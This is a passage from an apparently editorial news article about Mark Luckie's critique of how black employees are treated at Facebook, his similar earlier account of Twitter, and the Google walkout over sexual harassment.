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In between touting common-sense solutions like “teams that require diverse perspectives should hire diverse people,” Luckie warns the company against merely stuffing its ranks with “diverse” hires and going about business as usual. He recommends a system for reporting “microaggressions,” pointing to employee complaints that they are “tone-policed” for speaking in an “aggressive” and “hostile” manner, but his recommendations fail to address the more disturbing problems mentioned in his post, such as black employees being “aggressively accosted” by Facebook security.

Luckie is something of a known quantity for his documentation of the “black experience” in Silicon Valley. He published a similar story after leaving Twitter in 2015, making observations eerily similar to some of his notes on Facebook. “I didn’t know any of us worked here,” he claims fellow black Twitterers confided in him. “I didn’t know black people worked at Facebook,” Luckie says black employees at Facebook were “commonly told.”

Facebook isn’t the only vocally progressive company to be called out for being less than woke recently. Female employees at Google led a walkout earlier this month to protest management’s cover-up of multiple cases of sexual harassment among high-level employees.

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